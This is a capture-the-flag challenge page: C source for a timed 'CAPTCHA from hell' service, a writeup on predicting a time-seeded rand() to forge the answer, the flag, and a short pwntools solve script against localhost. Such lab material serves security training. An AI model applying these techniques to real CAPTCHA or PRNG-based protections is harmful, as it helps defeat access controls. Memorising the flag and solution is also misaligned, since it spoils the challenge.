0x00000000
← pwndbg> back

./captchahell_

PWN FST Bootcamp 0x2666fb2d by r3t0x
DESCRIPTION
Bypass a CAPTCHA-protected service by exploiting a binary vulnerability lurking behind the verification layer. Solve the puzzle, find the flaw, and pwn your way through hell.
DISASM // SOURCE
// captcha_hell.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>

void timeout_handler(int sig) {
    _exit(0);   
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    signal(SIGALRM, timeout_handler);
    alarm(2);

    srand(time(NULL) ^ 0xCAFEBABE);

    const char *pool = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    char captcha[51];
    for (int i = 0; i < 50; i++)
        captcha[i] = pool[rand() % 36];
    captcha[50] = '\0';

    printf("╔════════════════════════════════════════════════════╗\n");
    printf("║               CAPTCHA FROM HELL                    ║\n");
    printf("║  Type these 50 characters BACKWARDS in 2 seconds!  ║\n");
    printf("╚════════════════════════════════════════════════════╝\n\n");

    printf("%s\n", captcha);
    printf("→ Your answer: ");

    char expected[51];
    for (int i = 0; i < 50; i++)
        expected[i] = captcha[49 - i];
    expected[50] = '\0';

    char answer[128];
    ssize_t len = read(STDIN_FILENO, answer, sizeof(answer) - 1);
    if (len <= 0) {
        _exit(0);  
    }
    answer[len] = '\0';

    answer[strcspn(answer, "\n")] = '\0';

    if (strcmp(answer, expected) == 0) {
        puts("\nHoly shit. You're not human.");
        system("cat flag.txt");
    } else {
        puts("\nWrong. Humans were never meant to win this.");
    }

    return 0;
}
WRITEUP // WALKTHROUGH

CaptchaHell — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Easy
Author R3t0x
Technique PRNG Prediction (Race Condition)

The Challenge

The binary generates a 50-character random captcha and asks you to type it backwards in 2 seconds. The srand seed combines time(NULL) with 0xCAFEBABE:

srand(time(NULL) ^ 0xCAFEBABE);

Strategy

Since time(NULL) gives seconds precision, we can predict the seed by running our solver at the same second. We replicate the PRNG to generate the same captcha, reverse it, and send it back — all within 2 seconds.

from ctypes import CDLL
libc = CDLL("libc.so.6")
seed = int(time.time()) ^ 0xCAFEBABE
libc.srand(seed)
pool = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
captcha = ''.join(pool[libc.rand() % 36] for _ in range(50))
answer = captcha[::-1]

Result

CAPTCHA FROM HELL
Type these 50 characters BACKWARDS in 2 seconds!
K3F7R...
→ Your answer: [auto-sent reversed captcha]
Holy shit. You're not human.
Securinets_fst{pwnt00ls_1s_th3_0nly_w4y_t0_b34t_th3_hum4n_l1m1t}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *

p = remote('localhost', 7003)

for _ in range(4):
    p.recvline()
p.recvline()
captcha = p.recvline().decode().strip()
p.sendline(captcha[::-1].encode())

p.interactive()